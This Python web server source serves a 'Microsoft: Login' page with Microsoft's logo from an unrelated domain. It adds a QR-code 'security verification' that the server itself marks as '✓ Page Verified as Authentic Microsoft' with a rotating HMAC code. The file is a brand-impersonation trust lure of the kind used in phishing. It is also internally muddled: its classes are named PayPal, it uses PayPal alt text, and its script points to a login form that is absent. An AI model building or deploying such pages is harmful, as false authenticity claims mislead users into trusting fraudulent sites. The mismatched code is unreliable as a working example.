from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import uuid
import time
import hmac
import hashlib
import qrcode
import io
import base64
import socket
from urllib.parse import parse_qs, urlparse
from datetime import datetime
from qrcode import QRCode
import ssl

def get_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(('10.255.255.255', 1))
        IP = s.getsockname()[0]
    except Exception:
        IP = '127.0.0.1'
    finally:
        s.close()
    return IP

SERVER_IP = 'sub1.kalkikrivadna.com'
PORT = 8080

# In production, this would be a secure key stored in web infrastructure
SERVER_SECRET_KEY = b"demo_secret_key_would_be_secure_in_production"

# Store verifications with additional security data
page_verifications = {}

class PayPalVerificationServer(BaseHTTPRequestHandler):
    def generate_security_code(self, token):
        """Generate a time-based security code using HMAC"""
        timestamp = str(int(time.time()) // 30)  # Changes every 30 seconds
        message = f"{token}:{timestamp}".encode()
        hmac_obj = hmac.new(SERVER_SECRET_KEY, message, hashlib.sha256)
        return hmac_obj.hexdigest()[:8]  # Use first 8 chars as security code

    def do_GET(self):
        parsed_path = urlparse(self.path)

        if parsed_path.path == '/':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.send_header('Cache-Control', 'no-store, must-revalidate')
            self.end_headers()
            self.wfile.write(self.get_paypal_demo_page().encode())

        elif parsed_path.path == '/verify-page':
            try:
                verification_token = str(uuid.uuid4())
                verification_url = f"http://{SERVER_IP}:{PORT}/validate-page?token={verification_token}"

                security_code = self.generate_security_code(verification_token)
                page_verifications[verification_token] = {
                    'timestamp': time.time(),
                    'verified': False,
                    'security_code': security_code
                }

                qr = qrcode.QRCode(version=1, box_size=10, border=5)
                qr.add_data(verification_url)
                qr.make(fit=True)

                img_buffer = io.BytesIO()
                img = qr.make_image(fill_color="black", back_color="white")
                img.save(img_buffer, format='PNG')
                qr_base64 = base64.b64encode(img_buffer.getvalue()).decode()

                self.send_response(200)
                self.send_header('Content-Type', 'application/json')
                self.send_header('Cache-Control', 'no-store')
                self.end_headers()
                response = {
                    'qr_code': qr_base64,
                    'token': verification_token,
                    'security_code': security_code
                }
                self.wfile.write(json.dumps(response).encode())

            except Exception as e:
                print(f"Error: {str(e)}")
                self.send_error(500)

        elif parsed_path.path == '/validate-page':
            query = parse_qs(parsed_path.query)
            token = query.get('token', [None])[0]

            if token and token in page_verifications:
                page_verifications[token]['verified'] = True
                security_code = self.generate_security_code(token)

                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()

                validation_page = f'''
                <!DOCTYPE html>
                <html>
                <head>
                    <title>Microsoft Anti-Phishing Security Verification</title>
                    <style>
                        body {{ font-family: Arial, sans-serif; text-align: center; padding: 20px; }}
                        .success {{ color: #28a745; }}
                        .security-code {{
                            font-size: 24px;
                            font-family: monospace;
                            background: #f8f8f8;
                            padding: 10px;
                            border-radius: 4px;
                            margin: 10px 0;
                        }}
                    </style>
                </head>
                <body>
                    <img src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                         alt="Microsoft Logo" style="height: 50px; margin-bottom: 20px;">
                    <h2 class="success">✓ Page Verified as Authentic Microsoft</h2>
                    <p>Security Code (changes every 30 seconds):</p>
                    <div class="security-code">{security_code}</div>
                    <p>Verified at: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
                    <p>You can close this window.</p>
                </body>
                </html>
                '''
                self.wfile.write(validation_page.encode())
            else:
                self.send_error(400, "Invalid verification token")

        elif parsed_path.path == '/check-verification':
            query = parse_qs(parsed_path.query)
            token = query.get('token', [None])[0]

            if token and token in page_verifications:
                security_code = self.generate_security_code(token)
                self.send_response(200)
                self.send_header('Content-Type', 'application/json')
                self.end_headers()
                response = {
                    'verified': page_verifications[token]['verified'],
                    'security_code': security_code
                }
                self.wfile.write(json.dumps(response).encode())
            else:
                self.send_error(400, "Invalid verification token")

    def get_paypal_demo_page(self):
        return '''
<!DOCTYPE html>
<html>
<head>
    <title>Microsoft: Login</title>
    <style>
        body {
            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f5f5f5;
        }
        .container {
            max-width: 380px;
            margin: 30px auto;
            padding: 20px;
        }
        .logo {
            text-align: center;
            margin-bottom: 30px;
        }
        .logo img {
            height: 50px;
        }
        .login-card {
            background: white;
            padding: 20px;
            border-radius: 4px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        .form-group {
            margin-bottom: 1.5rem;
        }
        label {
            display: block;
            margin-bottom: 0.5rem;
            color: #6c7378;
        }
        input {
            width: 100%;
            padding: 0.75rem;
            border: 1px solid #9da3a6;
            border-radius: 4px;
            box-sizing: border-box;
        }
        input:focus {
            border-color: #0070ba;
            outline: none;
        }
        .btn-login {
            background-color: #0070ba;
            color: white;
            padding: 0.75rem;
            border: none;
            border-radius: 4px;
            width: 100%;
            font-size: 1rem;
            cursor: pointer;
        }
        .btn-login:hover {
            background-color: #005ea6;
        }
        .verification-container {
            margin-top: 20px;
            padding: 15px;
            background: #f8f8f8;
            border-radius: 4px;
            text-align: center;
        }
        #qrCode {
            max-width: 200px;
            margin: 1rem auto;
            display: block;
        }
        .security-status {
            margin-top: 10px;
            padding: 10px;
            border-radius: 4px;
        }
        .security-code {
            font-family: monospace;
            font-size: 18px;
            background: #fff;
            padding: 5px 10px;
            border-radius: 4px;
            display: inline-block;
        }
        .verified {
            background-color: #e7f4e4;
            color: #28a745;
        }
        .unverified {
            background-color: #fff3cd;
            color: #856404;
        }
    </style>
</head>
<body>
    <div class="verification-container">
        <img src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
             alt="PayPal Verification" style="height: 30px; margin-bottom: 10px;">
        <h4 style="margin: 0 0 10px 0;">Microsoft Security Verification</h4>
        <p style="font-size: 14px; color: #666;">Scan QR code to verify this page</p>
        <img id="qrCode" alt="Verification QR Code">
        <div id="verificationStatus" class="security-status unverified">
            Verification Status: Checking...
        </div>
        <div id="securityCode" style="display: none;">
            Security Code: <span class="security-code">--------</span>
            <p style="font-size: 12px; color: #666;">Code changes every 30 seconds</p>
        </div>
    </div>

    <script>
        let currentToken = null;
        let verificationInterval = null;

        async function generateVerificationQR() {
            try {
                const response = await fetch('/verify-page');
                const data = await response.json();

                document.getElementById('qrCode').src = 'data:image/png;base64,' + data.qr_code;
                currentToken = data.token;

                document.getElementById('securityCode').style.display = 'block';
                document.querySelector('.security-code').textContent = data.security_code;

                checkVerificationStatus();
            } catch (error) {
                console.error('Error:', error);
                document.getElementById('verificationStatus').textContent =
                    'Error generating verification. Please refresh.';
            }
        }

        async function checkVerificationStatus() {
            if (!currentToken) return;

            try {
                const response = await fetch(`/check-verification?token=${currentToken}`);
                const data = await response.json();

                const statusElement = document.getElementById('verificationStatus');
                const codeElement = document.querySelector('.security-code');

                if (data.verified) {
                    statusElement.className = 'security-status verified';
                    statusElement.textContent = '✓ Page Verified as Authentic Microsoft';
                    // Keep updating security code
                    if (!verificationInterval) {
                        verificationInterval = setInterval(async () => {
                            const response = await fetch(`/check-verification?token=${currentToken}`);
                            const data = await response.json();
                            codeElement.textContent = data.security_code;
                        }, 1000);
                    }
                } else {
                    setTimeout(checkVerificationStatus, 1000);
                }

                codeElement.textContent = data.security_code;
            } catch (error) {
                console.error('Error:', error);
            }
        }

        // Start verification on page load
        generateVerificationQR();

        // Demo form handler
        document.getElementById('loginForm').addEventListener('submit', (e) => {
            e.preventDefault();
            alert('Demo: Login form submitted (This is a demo, no data is sent)');
        });
    </script>
</body>
</html>
'''

def run_https_server(certfile, keyfile, domain='sub1.kalkikrivadna.com', port=8080):
    server_address = (domain, port)  # Use the domain instead of 0.0.0.0
    httpd = HTTPServer(server_address, PayPalVerificationServer)
    
    # Create an SSL context and wrap the socket with SSL
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.load_cert_chain(certfile=certfile, keyfile=keyfile)
    
    # Wrap the server socket with SSL
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
    
    print(f"HTTPS server running at https://{domain}:{port}")
    httpd.serve_forever()

if __name__ == '__main__':
    CERTFILE = '/etc/letsencrypt/live/sub1.kalkikrivadna.com/fullchain.pem'
    KEYFILE = '/etc/letsencrypt/live/sub1.kalkikrivadna.com/privkey.pem'
    
    try:
        run_https_server(certfile=CERTFILE, keyfile=KEYFILE, domain='sub1.kalkikrivadna.com', port=8080)
    except Exception as e:
        print(f"Failed to start HTTPS server: {e}")